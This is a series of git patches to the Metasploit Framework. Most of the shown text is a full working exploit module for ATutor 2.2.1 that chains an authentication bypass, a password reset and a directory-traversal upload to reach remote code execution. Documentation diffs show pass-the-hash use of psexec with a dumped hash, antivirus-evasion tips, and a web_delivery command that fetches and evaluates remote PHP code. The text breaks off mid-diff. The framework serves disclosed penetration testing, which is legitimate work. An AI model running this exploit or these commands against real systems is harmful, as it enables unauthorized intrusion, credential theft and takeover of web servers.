dio_write_handler(packet, data) - rv = Rex::ThreadSafe.select(nil, [rsock], nil, 0.01) - if(rv) - rsock.write(data) - return true - else - return false + module SocketInterface + include Rex::Post::Meterpreter::SocketAbstraction::SocketInterface + def type? + 'tcp' end end - # - # Performs a close operation on the right side of the local stream. - # - def dio_close_handler(packet) - rsock.close - - return super(packet) - end - - # - # Cleans up the stream abstraction. - # - def cleanup - super - - cleanup_abstraction - end - end end; end; end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb index 950815dbaa..5875c1b11f 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb @@ -118,7 +118,11 @@ class Socket # def create_udp_channel(params) begin - return SocketSubsystem::UdpChannel.open(client, params) + channel = SocketSubsystem::UdpChannel.open(client, params) + if( channel != nil ) + return channel.lsock + end + return nil rescue ::Rex::Post::Meterpreter::RequestError => e case e.code when 10000 .. 10100 diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_client_channel.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_client_channel.rb index d0127ef158..9574caebc5 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_client_channel.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_client_channel.rb @@ -23,61 +23,6 @@ module SocketSubsystem ### class TcpClientChannel < Rex::Post::Meterpreter::Stream - class << self - def cls - return CHANNEL_CLASS_STREAM - end - end - - module SocketInterface - def type? - 'tcp' - end - - def getsockname - return super if not channel - # Find the first host in our chain (our address) - hops = 0 - csock = channel.client.sock - while(csock.respond_to?('channel')) - csock = csock.channel.client.sock - hops += 1 - end - tmp,caddr,cport = csock.getsockname - tmp,raddr,rport = csock.getpeername - maddr,mport = [ channel.params.localhost, channel.params.localport ] - [ tmp, "#{caddr}#{(hops > 0) ? "-_#{hops}_" : ""}-#{raddr}", "#{mport}" ] - end - - def getpeername - return super if not channel - tmp,caddr,cport = channel.client.sock.getpeername - maddr,mport = [ channel.params.peerhost, channel.params.peerport ] - [ tmp, "#{maddr}", "#{mport}" ] - end - - attr_accessor :channel - end - - # - # Simple mixin for lsock in order to help avoid a ruby interpreter issue with ::Socket.pair - # Instead of writing to the lsock, reading from the rsock and then writing to the channel, - # we use this mixin to directly write to the channel. - # - # Note: This does not work with OpenSSL as OpenSSL is implemented natively and requires a real - # socket to write to and we cant intercept the sockets syswrite at a native level. - # - # Note: The deadlock only seems to effect the Ruby build for cygwin. - # - module DirectChannelWrite - - def syswrite( buf ) - channel._write( buf ) - end - - attr_accessor :channel - end - ## # # Factory @@ -161,19 +106,6 @@ class TcpClientChannel < Rex::Post::Meterpreter::Stream return true end - # - # Wrap the _write() call in order to catch some common, but harmless Windows exceptions - # - def _write(*args) - begin - super(*args) - rescue ::Rex::Post::Meterpreter::RequestError => e - case e.code - when 10000 .. 10100 - raise ::Rex::ConnectionError.new - end - end - end end end; end; end; end; end; end; end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb index f8e7f310e0..dda93f0040 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb @@ -5,6 +5,7 @@ require 'rex/socket/udp' require 'rex/socket/parameters' require 'rex/post/meterpreter/extensions/stdapi/tlv' require 'rex/post/meterpreter/channel' +require 'rex/post/meterpreter/channels/datagram' module Rex module Post @@ -14,12 +15,7 @@ module Stdapi module Net module SocketSubsystem -class UdpChannel < Rex::Post::Meterpreter::Channel - - # - # We inclue Rex::Socket::Udp as this channel is effectivly a UDP socket. - # - include Rex::Socket::Udp +class UdpChannel < Rex::Post::Meterpreter::Datagram # # We are a datagram channel. @@ -64,89 +60,19 @@ class UdpChannel < Rex::Post::Meterpreter::Channel # # Simply initialize this instance. # - def initialize(client, cid, type, flags) - super(client, cid, type, flags) - # the instance variable that holds all incoming datagrams. - @datagrams = [] - end + def initialize( client, cid, type, flags ) + super( client, cid, type, flags ) - # - # We overwrite Rex::Socket::Udp.timed_read in order to avoid the call to Kernel.select - # which wont be of use as we are not a natively backed ::Socket or ::IO instance. - # - def timed_read( length=65535, timeout=def_read_timeout ) - result = '' + lsock.extend( Rex::Socket::Udp ) + lsock.initsock + lsock.extend( SocketInterface ) + lsock.extend( DirectChannelWrite ) + lsock.channel = self - begin - Timeout.timeout( timeout ) { - while( true ) - if( @datagrams.empty? ) - Rex::ThreadSafe.sleep( 0.2 ) - next - end - result = self.read( length ) - break - end - } - rescue Timeout::Error - result = '' - end + # rsock.extend( Rex::Socket::Udp ) + rsock.extend( SocketInterface ) + rsock.channel = self - return result - end - - # - # We overwrite Rex::Socket::Udp.recvfrom in order to correctly hand out the - # datagrams which the remote end of this channel has received and are in the - # queue. - # - def recvfrom( length=65535, timeout=def_read_timeout ) - result = nil - # force a timeout on the wait for an incoming datagram - begin - Timeout.timeout( timeout ) { - while( true ) - # wait untill we have at least one datagram in the queue - if( @datagrams.empty? ) - Rex::ThreadSafe.sleep( 0.2 ) - next - end - # grab the oldest datagram we have received... - result = @datagrams.shift - # break as we have a result... - break - end - } - rescue Timeout::Error - result = nil - end - # if no result return nothing - if( result == nil ) - return [ '', nil, nil ] - end - # get the data from this datagram - data = result[0] - # if its only a partial read of this datagram, slice it, loosing the remainder. - result[0] = data[0,length-1] if data.length > length - # return the result in the form [ data, host, port ] - return result - end - - # - # Overwrite the low level sysread to read data off our datagram queue. Calls - # to read() will end up calling this. - # - def sysread( length ) - result = self.recvfrom( length ) - return result[0] - end - - # - # Overwrite the low level syswrite to write data to the remote end of the channel. - # Calls to write() will end up calling this. - # - def syswrite( buf ) - return _write( buf ) end # @@ -170,39 +96,6 @@ class UdpChannel < Rex::Post::Meterpreter::Channel return _write( buf, buf.length, addends ) end - # - # The channels direct io write handler for any incoming data from the remote end - # of the channel. We extract the data and peer host/port, and save this to a queue - # of incoming datagrams which are passed out via calls to self.recvfrom() - # - def dio_write_handler( packet, data ) - - peerhost = packet.get_tlv_value( TLV_TYPE_PEER_HOST ) - peerport = packet.get_tlv_value( TLV_TYPE_PEER_PORT ) - - if( peerhost and peerport ) - @datagrams << [ data, peerhost, peerport ] - return true - end - - return false - end - - # - # Wrap the _write() call in order to catch some common, but harmless Windows exceptions - # - def _write(*args) - begin - super(*args) - rescue ::Rex::Post::Meterpreter::RequestError => e - case e.code - when 10000 .. 10100 - raise ::Rex::ConnectionError.new - end - end - end - - end end; end; end; end; end; end; end From 4c42a74d4809b417bd5a21ef90b0c148043c5a61 Mon Sep 17 00:00:00 2001 From: tdoan-r7 Date: Mon, 21 Mar 2016 14:18:16 -0500 Subject: [PATCH 74/96] MS-1195 minor grammatical edits to psexec kb --- .../modules/exploit/windows/smb/psexec.md | 68 +++++++------------ 1 file changed, 23 insertions(+), 45 deletions(-) diff --git a/documentation/modules/exploit/windows/smb/psexec.md b/documentation/modules/exploit/windows/smb/psexec.md index 5fe2abe0c5..de541f95b7 100644 --- a/documentation/modules/exploit/windows/smb/psexec.md +++ b/documentation/modules/exploit/windows/smb/psexec.md @@ -1,24 +1,21 @@ -psexec is one of the most popular exploits against Microsoft Windows. It is a great way to test -password security, and demonstrate how a stolen password could lead to a complete compromise of an -entire corporate network. +psexec is one of the most popular exploits against Microsoft Windows. It is a great way to test password security and demonstrate how a stolen password could lead to a complete compromise of an entire corporate network. -The Metasploit Framework actually includes different module types of psexec for different -scenarios. exploit/windows/smb/psexec is the father of them all, and is used the same way +The Metasploit Framework actually includes different module types of psexec for different scenarios. exploit/windows/smb/psexec is the father of them all and is used the same way you normally would with any Metasploit exploits. ## Vulnerable Application -To be able to use exploit/windows/smb/psexec, you must meet these requirements: +To be able to use exploit/windows/smb/psexec: -1. You have a valid username/password. -2. Firewall allows SMB traffic. -3. Target is using SMBv1. -4. The remote Windows machine's network security policy allows it. If you see [one of these errors](https://github.com/rapid7/metasploit-framework/wiki/What-does-my-Rex%3A%3AProto%3A%3ASMB-Error-mean%3F), it's an indication it doesn't. +1. You must have a valid username/password. +2. The firewall must allow SMB traffic. +3. The target must use SMBv1. +4. The remote Windows machine's network security policy must allow it. If you see [one of these errors](https://github.com/rapid7/metasploit-framework/wiki/What-does-my-Rex%3A%3AProto%3A%3ASMB-Error-mean%3F), then the Windows machine does not allow it. ## Verification Steps -At the minimum, you should be able use psexec to get a session with a valid credential: +At the minimum, you should be able use psexec to get a session with a valid credential using the following: ``` msf > use exploit/windows/smb/psexec @@ -46,34 +43,29 @@ meterpreter > ## Options -By default, exploit/windows/smb/psexec can be as simple as setting the RHOST option, and ready to -go. But in reality, you will probably need to at least configure: +By default, using exploit/windows/smb/psexec can be as simple as setting the RHOST option, and you're ready to go. But in reality, you will probably need to at least configure: **The SMBUser Option** -A valid Windows username. +This is a valid Windows username. **The SMBPass option** -This can be either the plain text version, or the Windows hash. +This can be either the plain text version or the Windows hash. ## Scenarios **Pass the Hash** -One common penetration testing scenario with using psexec is that attackers usually begin by -breaking into a box, manage to the dump the hashes, and use some of those hashes to log into -other boxes on the network using psexec. So let's say I'm in that scenario with the following -stolen hash: +One common penetration testing scenario using psexec is that attackers usually begin by breaking into a box, dumping the hashes, and using some of those hashes to log into other boxes on the network using psexec. So in that scenario, with the following stolen hash: ``` meterpreter > hashdump Administrator:500:e39baff0f2c5fd4e93e28745b8bf4ba6:f4974ee4a935ee160a927eafbb3f317f::: ``` -Without the need to crack the hash, I can simply copy and paste it to the SMBPass option in -psexec, and get a session: +You can simply copy and paste it to the SMBPass option in psexec and get a session without needing to crack the hash: ``` msf > use exploit/windows/smb/psexec @@ -101,42 +93,28 @@ meterpreter > **Automatic Target** -exploit/windows/smb/psexec comes with multiple targets available, and Automatic is default. What -happens under the hood is if Powershell is detected on the remote machine, it will try Powershell, -otherwise it uses the natvie upload. Each target is explained below. +There are multiple targets available for exploit/windows/smb/psexec. The Automatic target is the default target. If the Automatic target detects Powershell on the remote machine, it will try Powershell, otherwise it uses the natvie upload. Each target is explained below. **Powershell Target** -The Powershell target forces the psexec module to run a Powershell command with a payload embedded -in it. Since this approach does not leave anything on disk, it is a very powerful way to evade -antivirus. However, older Windows machines might not support Powershell by default. +The Powershell target forces the psexec module to run a Powershell command with a payload embedded in it. Since this approach does not leave anything on disk, it is a very powerful way to evade antivirus. However, older Windows machines might not support Powershell by default. -Ideally, you probably want to use the Automatic target setting instead of this. Because the -automatic mode will check if the target supports Powershell or not before it tries, but the -manually set Powershell target won't do that. +Because of this, you will probably want to use the Automatic target setting. The automatic mode will check if the target supports Powershell before it tries it; the manually set Powershell target won't do that. **Native Upload Target** -The Native target will attempt to upload the payload (executable) to SYSTEM32 (modifiable with the -SHARE datastore option) , and then execute it with psexec. +The Native target will attempt to upload the payload (executable) to SYSTEM32 (which can be modified with the +SHARE datastore option), and then execute it with psexec. -This approach is rather reliable, but has a high chance of getting caught by antivirus on the -target. To counter this, you can try to use a template by setting the EXE::Path and EXE::Template -datastore options. Or, you can supply your own custom EXE by setting the EXE::Custom option. +This approach is generally reliable, but has a high chance of getting caught by antivirus on the target. To counter this, you can try to use a template by setting the EXE::Path and EXE::Template datastore options. Or, you can supply your own custom EXE by setting the EXE::Custom option. **MOF Upload Target** -The [MOF](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-WbemExec-for-a-write-privilege-attack-on-Windows) target technically does not use psexec: it does not explicitly tell Windows to execute -anything. All it does is uploading two files: the payload (exe) in SYSTEM32, and a managed object -format file in SYSTEM32\wbem\mof\ directory. When Windows sees the mof file in that directory, it -automatically runs it. Once executed, the code inside the mof file basically tells Windows to -execute our payload in SYSTEM32, and we get a session. +The [MOF](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-WbemExec-for-a-write-privilege-attack-on-Windows) target technically does not use psexec; it does not explicitly tell Windows to execute anything. All it does is upload two files: the payload (exe) in SYSTEM32 and a managed object +format file in SYSTEM32\wbem\mof\ directory. When Windows sees the MOF file in that directory, it automatically runs it. Once executed, the code inside the MOF file basically tells Windows to execute our payload in SYSTEM32, and you get a session. -Although a neat trick, Metasploit's MOF library only works against Windows XP and -Windows Server 2003. And since it does write files to disk, there is also a high chance of getting +Although it's a neat trick, Metasploit's MOF library only works against Windows XP and Windows Server 2003. And since it writes files to disk, there is also a high chance of getting caught by antivirus on the target. -The way to counter antivirus is still the same. You can either use a different template by setting -the EXE::Path and EXE::Template datastore options. Or you can supply your own custom EXE by setting -the EXE::Custom option. +The best way to counter antivirus is still the same. You can either use a different template by setting the EXE::Path and EXE::Template datastore options or you can supply your own custom EXE by setting the EXE::Custom option. From 3842009ffe1dabbe01f501901b210caa07713527 Mon Sep 17 00:00:00 2001 From: Steven Seeley Date: Tue, 22 Mar 2016 12:17:32 -0500 Subject: [PATCH 75/96] Add ATutor 2.2.1 Directory Traversal Exploit Module --- .../http/atutor_filemanager_traversal.rb | 370 ++++++++++++++++++ 1 file changed, 370 insertions(+) create mode 100644 modules/exploits/linux/http/atutor_filemanager_traversal.rb diff --git a/modules/exploits/linux/http/atutor_filemanager_traversal.rb b/modules/exploits/linux/http/atutor_filemanager_traversal.rb new file mode 100644 index 0000000000..c1324a07aa --- /dev/null +++ b/modules/exploits/linux/http/atutor_filemanager_traversal.rb @@ -0,0 +1,370 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => 'ATutor 2.2.1 Directory Traversal / Remote Code Execution', + 'Description' => %q{ + This module exploits a directory traversal vulnerability in ATutor on an Apache/PHP + setup with display_errors set to On, which can be used to allow us to upload a malicious + ZIP file. On the web application, a blacklist verification is performed before extraction, + however it is not sufficient to prevent exploitation. + + You are required to login to the target to reach the vulnerability, however this can be + done as a student account and remote registration is enabled by default. + + Just incase remote registration isnt enabled, this module uses 2 vulnerabilities + in order to bypass the authenication: + + 1. confirm.php Authentication Bypass Type Juggling vulnerability + 2. password_reminder.php Remote Password Reset TOCTOU vulnerability + + ~ spirit of the hack + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'mr_me ', # initial discovery, msf code + ], + 'References' => + [ + [ 'URL', 'http://www.atutor.ca/' ], # Official Website + [ 'URL', 'http://sourceincite.com/research/src-2016-09/' ], # Type Juggling Advisory + [ 'URL', 'http://sourceincite.com/research/src-2016-10/' ], # TOCTOU Advisory + [ 'URL', 'http://sourceincite.com/research/src-2016-11/' ], # Directory Traversal Advisory + [ 'URL', 'https://github.com/atutor/ATutor/pull/107' ] + ], + 'Privileged' => false, + 'Payload' => + { + 'DisableNops' => true, + }, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => [[ 'Automatic', { }]], + 'DisclosureDate' => 'Mar 1 2016', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']), + OptString.new('USERNAME', [false, 'The username to authenticate as']), + OptString.new('PASSWORD', [false, 'The password to authenticate with']) + ],self.class) + end + + def print_status(msg='') + super("#{peer} - #{msg}") + end + + def print_error(msg='') + super("#{peer} - #{msg}") + end + + def print_good(msg='') + super("#{peer} - #{msg}") + end + + def check + # there is no real way to finger print the target so we just + # check if we can upload a zip and extract it into the web root... + # obviously not ideal, but if anyone knows better, feel free to change + if (not datastore['USERNAME'].blank? and not datastore['PASSWORD'].blank?) + student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], check=true) + if student_cookie != nil && disclose_web_root + begin + if upload_shell(student_cookie, check=true) && found + return Exploit::CheckCode::Vulnerable + end + rescue Msf::Exploit::Failed => e + vprint_error(e.message) + end + else + # if we cant login, it may still be vuln + return Exploit::CheckCode::Unknown + end + else + # if no creds are supplied, it may still be vuln + return Exploit::CheckCode::Unknown + end + return Exploit::CheckCode::Safe + end + + def create_zip_file(check=false) + zip_file = Rex::Zip::Archive.new + @header = Rex::Text.rand_text_alpha_upper(4) + @payload_name = Rex::Text.rand_text_alpha_lower(4) + @archive_name = Rex::Text.rand_text_alpha_lower(3) + @test_string = Rex::Text.rand_text_alpha_lower(8) + # we traverse back into the webroot mods/ directory (since it will be writable) + path = "../../../../../../../../../../../../..#{@webroot}mods/" + + # we use this to give us the best chance of success. If a webserver has htaccess override enabled + # we will win. If not, we may still win because these file extensions are often registered as php + # with the webserver, thus allowing us remote code execution. + if check + zip_file.add_file("#{path}#{@payload_name}.txt", "#{@test_string}") + else + register_file_for_cleanup( ".htaccess", "#{@payload_name}.pht", "#{@payload_name}.php4", "#{@payload_name}.phtml") + zip_file.add_file("#{path}.htaccess", "AddType application/x-httpd-php .phtml .php4 .pht") + zip_file.add_file("#{path}#{@payload_name}.pht", "") + zip_file.add_file("#{path}#{@payload_name}.php4", "") + zip_file.add_file("#{path}#{@payload_name}.phtml", "") + end + zip_file.pack + end + + def found + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "mods", "#{@payload_name}.txt"), + }) + if res.code == 200 and res.body =~ /#{@test_string}/ + return true + end + return false + end + + def disclose_web_root + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "jscripts", "ATutor_js.php"), + }) + @webroot = "/" + @webroot << $1 if res.body =~ /\\/(.*)jscripts\/ATutor_js\.php\<\/b\> / + if @webroot != "/" + return true + end + return false + end + + def exec_code + # pwnage + res = nil + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "mods", "#{@payload_name}.pht"), + 'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n" + }, timeout=0.1) + if res == nil + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "mods", "#{@payload_name}.phtml"), + 'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n" + }, timeout=0.1) + end + if res == nil + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "mods", "#{@payload_name}.php4"), + 'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n" + }, timeout=0.1) + end + end + + def upload_shell(cookie, check) + post_data = Rex::MIME::Message.new + post_data.add_part(create_zip_file(check), 'application/zip', nil, "form-data; name=\"file\"; filename=\"#{@archive_name}.zip\"") + post_data.add_part("#{Rex::Text.rand_text_alpha_upper(4)}", nil, nil, "form-data; name=\"submit_import\"") + data = post_data.to_s + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, "mods", "_standard", "tests", "question_import.php"), + 'method' => 'POST', + 'data' => data, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'cookie' => cookie, + 'vars_get' => { + 'h' => '' + } + }) + if res && res.code == 302 && res.redirection.to_s.include?("question_db.php") + return true + end + # unknown failure... + if res && res.body =~ /Missing zlib extensions/ + fail_with(Failure::NotVulnerable, 'Server is missing zlib extensions') + else + fail_with(Failure::Unknown, 'Unable to upload php code') + end + return false + end + + def find_user(cookie) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "users", "profile.php"), + 'cookie' => cookie, + # we need to set the agent to the same value that was in type_juggle, + # since the bypassed session is linked to the user-agent. We can then + # use that session to leak the username + 'agent' => '' + }) + username = "#{$1}" if res.body =~ /(.*)<\/span>/ + if username + return username + end + # else we fail, because we dont know the username to login as + fail_with(Failure::Unknown, "Unable to find the username!") + end + + def type_juggle + # high padding, means higher success rate + # also, we use numbers, so we can count requests :p + for i in 1..8 + for @number in ('0'*i..'9'*i) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "confirm.php"), + 'vars_post' => { + 'auto_login' => '', + 'code' => '0' # type juggling + }, + 'vars_get' => { + 'e' => @number, # the bruteforce + 'id' => '', + 'm' => '', + # the default install script creates a member + # so we know for sure, that it will be 1 + 'member_id' => '1' + }, + # need to set the agent, since we are creating x number of sessions + # and then using that session to get leak the username + 'agent' => '' + }, redirect_depth = 0) # to validate a successful bypass + if res and res.code == 302 + cookie = "ATutorID=#{$3};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/ + return cookie + end + end + end + # if we finish the loop and have no sauce, we cant make pasta + fail_with(Failure::Unknown, "Unable to exploit the type juggle and bypass authentication") + end + + def reset_password() + # this is due to line 79 of password_reminder.php + days = (Time.now.to_i/60/60/24) + # make a semi strong password, we have to encourage security now :-> + pass = Rex::Text.rand_text_alpha(32) + hash = Rex::Text.sha1(pass) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "password_reminder.php"), + 'vars_post' => { + 'form_change' => 'true', + # the default install script creates a member + # so we know for sure, that it will be 1 + 'id' => '1', + 'g' => days + 1, # needs to be > the number of days since epoch + 'h' => '', # not even checked! + 'form_password_hidden' => hash, # remotely reset the password + 'submit' => 'Submit' + }, + }, redirect_depth = 0) # to validate a successful bypass + + if res and res.code == 302 + return pass + end + # if we land here, the TOCTOU failed us + fail_with(Failure::Unknown, "Unable to exploit the TOCTOU and reset the password") + end + + def login(username, hash, check=false) + password = Rex::Text.sha1(Rex::Text.sha1(hash)) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "login.php"), + 'vars_post' => { + 'form_password_hidden' => password, + 'form_login' => username, + 'submit' => 'Login', + 'token' => '', + }, + }) + # poor php developer practices + cookie = "ATutorID=#{$4};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/ + if res && res.code == 302 + if res.redirection.to_s.include?('bounce.php?course=0') + return cookie + end + end + # auth failed if we land here, bail + if not check + fail_with(Failure::NoAccess, "Authentication failed with username #{username}") + end + return nil + end + + def report_cred(opts) + service_data = { + address: rhost, + port: rport, + service_name: ssl ? 'https' : 'http', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: fullname, + post_reference_name: self.refname, + private_data: opts[:password], + origin_type: :service, + private_type: :password, + username: opts[:user] + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + last_attempted_at: Time.now + }.merge(service_data) + + create_credential_login(login_data) + end + + def exploit + # login if needed + if (not datastore['USERNAME'].empty? and not datastore['PASSWORD'].empty?) + report_cred(user: datastore['USERNAME'], password: datastore['PASSWORD']) + student_cookie = login(datastore['USERNAME'], datastore['PASSWORD']) + print_good("Logged in as #{datastore['USERNAME']}") + # else, we reset the students password via a type juggle vulnerability + else + print_status("Account details are not set, bypassing authentication...") + print_status("Triggering type juggle attack...") + student_cookie = type_juggle + print_good("Successfully bypassed the authentication in #{@number} requests !") + username = find_user(student_cookie) + print_good("Found the username: #{username} !") + password = reset_password + print_good("Successfully reset the #{username}'s account password to #{password} !") + report_cred(user: username, password: password) + student_cookie = login(username, password) + print_good("Logged in as #{username}") + end + + if disclose_web_root + print_good("Found the webroot") + # we got everything. Now onto pwnage + if upload_shell(student_cookie, false) + print_good("Zip upload successful !") + exec_code + end + end + end +end + +=begin +php.ini settings: +display_errors = On +=end From 7e5fced46b4ae970df8315a66498fb651a8f2d18 Mon Sep 17 00:00:00 2001 From: tdoan-r7 Date: Tue, 22 Mar 2016 12:26:55 -0500 Subject: [PATCH 76/96] MS-1196 Minor edits to the kb for the web_delivery module --- .../exploit/multi/script/web_delivery.md | 41 ++++++++----------- 1 file changed, 17 insertions(+), 24 deletions(-) diff --git a/documentation/modules/exploit/multi/script/web_delivery.md b/documentation/modules/exploit/multi/script/web_delivery.md index f5208585ee..91c213f82d 100644 --- a/documentation/modules/exploit/multi/script/web_delivery.md +++ b/documentation/modules/exploit/multi/script/web_delivery.md @@ -1,31 +1,26 @@ -As a web server, web_delivery provides a great way to deliver a payload during post exploitation, -with the intention to stay stealthy because the payload does not touch the disk. +As a web server, the web_delivery module provides a stealthy way to deliver a payload during post exploitation because the payload does not touch the disk. Currently, web_delivery supports three different languages for delivery: Python, PHP, and Powershell. You should be able to tell which one you can use based on the target environment you are in. -For example: if you have gained access through a PHP application, then it's safe to assume you can -use PHP. If you're in a Windows server (such as Windows Server 2008), then it's probably safe to -say the target supports Powershell. +For example, if you gained access through a PHP application, it's safe to assume you can use PHP. If you're in a Windows server, such as Windows Server 2008, then it's probably safe to say the target supports Powershell. ## Verification Steps -To be able to use web_delivery, you must gain access to the target machine first, with the ability -to execute either the Python, or PHP, or Powershell interpreter. +To be able to use the web_delivery module, you must gain access to the target machine first, with the ability to execute either the Python, or PHP, or Powershell interpreter. -At that point, you would use web_delivery similar to the following example: +At that point, you would use the web_delivery module like in the following example: 1. Start msfconsole -2. Do: ```use exploit/multi/script/web_delivery``` -3. Do: ```set target 1``` (1 is PHP. You can use ```show targets``` to see other options) -4. Do: ```set PAYLOAD php/meterpreter/reverse_tcp``` (You can do ```show payloads``` to see what options are suitable for the target) -5. Do: ```set LHOST IP``` (The IP the payload should connect back to) +2. Run: ```use exploit/multi/script/web_delivery``` +3. Run: ```set target 1``` (1 is PHP. You can use ```show targets``` to see other options) +4. Run: ```set PAYLOAD php/meterpreter/reverse_tcp``` (You can do ```show payloads``` to see what options are suitable for the target) +5. Run: ```set LHOST IP``` (The IP the payload should connect back to) 6. Do: ```run``` -7. At this point, a handler is up for that payload. And the module should instruct you to execute - a command. -8. Copy the command. Depending on your pentesting scenario, typically you can either inject the - command and get code execution, or run it from the target's shell, and get a session: +7. At this point, a handler is up for that payload, and the module should instruct you to execute a command. +8. Copy the command. Depending on your pentesting scenario, you can either inject the + command and get code execution, or run it from the target's shell and get a session: ``` msf exploit(web_delivery) > run @@ -46,14 +41,13 @@ php -d allow_url_fopen=true -r "eval(file_get_contents('http://172.16.23.1:8080/ **Python** -Python is a fairly popular language, especially on unix-based systems. For example, it comes with -Ubuntu Linux by default since 8.04. As well as Debian, and Mac OS X since 10.3. +Python is a fairly popular language, especially on Unix-based systems. By default, it has come with Ubuntu Linux since 8.04, as well as Debian, and Mac OS X since 10.3. **PHP** PHP is a fairly popular language for web servers, especially Apache. -**Powershell/win** +**Powershell/Windows** Powershell is a popular language for newer Windows systems. Windows 7 and Windows Server 2008 R2 are the first Windows versions to come with Powershell by default. Older Windows systems such as XP @@ -68,16 +62,15 @@ web_delivery would work nicely for a web application with a command execution vu One way to approach this would be: 1. Start exploit/multi/script/web_delivery -2. Use [Burp Suite](https://portswigger.net/burp/) to intercept the HTTP/HTTPS request, place the command in the parameter that - results in arbitrary code execution. +2. Use [Burp Suite](https://portswigger.net/burp/) to intercept the HTTP/HTTPS request, place the command in the parameter that results in arbitrary code execution. 3. Hopefully the modified HTTP/HTTPS request is successful, and you should get a session. **Shell upgrade** -web_delivery is also useful to upgrade a shell type payload to a meterpreter one. +web_delivery is also useful to upgrade a shell type payload to a Meterpreter one. Here's how that can be done: 1. Start exploit/multi/script/web_delivery that generates/ -2. On msfconsole, interact with the shell, and copy/pate the command. -3. You should get a meterpreter session. +2. In msfconsole, interact with the shell, and copy/paste the command. +3. You should get a Meterpreter session. From 8028a9b5ceebc6502c825a7543fa6e341832f48c Mon Sep 17 00:00:00 2001 From: Lexus89 Date: Tue, 22 Mar 2016 18:50:25 +0100 Subject: [PATCH 77/96] Print response fix --- modules/auxiliary/server/http_ntlmrelay.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/server/http_ntlmrelay.rb b/modules/auxiliary/server/http_ntlmrelay.rb index 44b90c3df1..8110a187b5 100644 --- a/modules/auxiliary/server/http_ntlmrelay.rb +++ b/modules/auxiliary/server/http_ntlmrelay.rb @@ -310,7 +310,7 @@ class MetasploitModule < Msf::Auxiliary else print_status("Auth successful, saving server response in database") end - vprint_status(resp) + vprint_status(resp.to_s) end return [resp, ser_sock] end From 9cb43f2153f71ca103054c510bce32edafb99d39 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 22 Mar 2016 14:42:36 -0500 Subject: [PATCH 78/96] Update atutor_filemanager_traversal --- .../http/atutor_filemanager_traversal.rb | 46 ++++++++----------- 1 file changed, 19 insertions(+), 27 deletions(-) diff --git a/modules/exploits/linux/http/atutor_filemanager_traversal.rb b/modules/exploits/linux/http/atutor_filemanager_traversal.rb index c1324a07aa..4ba1746959 100644 --- a/modules/exploits/linux/http/atutor_filemanager_traversal.rb +++ b/modules/exploits/linux/http/atutor_filemanager_traversal.rb @@ -129,7 +129,7 @@ class MetasploitModule < Msf::Exploit::Remote 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "mods", "#{@payload_name}.txt"), }) - if res.code == 200 and res.body =~ /#{@test_string}/ + if res and res.code == 200 and res.body =~ /#{@test_string}/ return true end return false @@ -141,34 +141,30 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => normalize_uri(target_uri.path, "jscripts", "ATutor_js.php"), }) @webroot = "/" - @webroot << $1 if res.body =~ /\\/(.*)jscripts\/ATutor_js\.php\<\/b\> / + @webroot << $1 if res and res.body =~ /\\/(.*)jscripts\/ATutor_js\.php\<\/b\> / if @webroot != "/" return true end return false end - def exec_code - # pwnage - res = nil + def call_php(ext) res = send_request_cgi({ 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, "mods", "#{@payload_name}.pht"), + 'uri' => 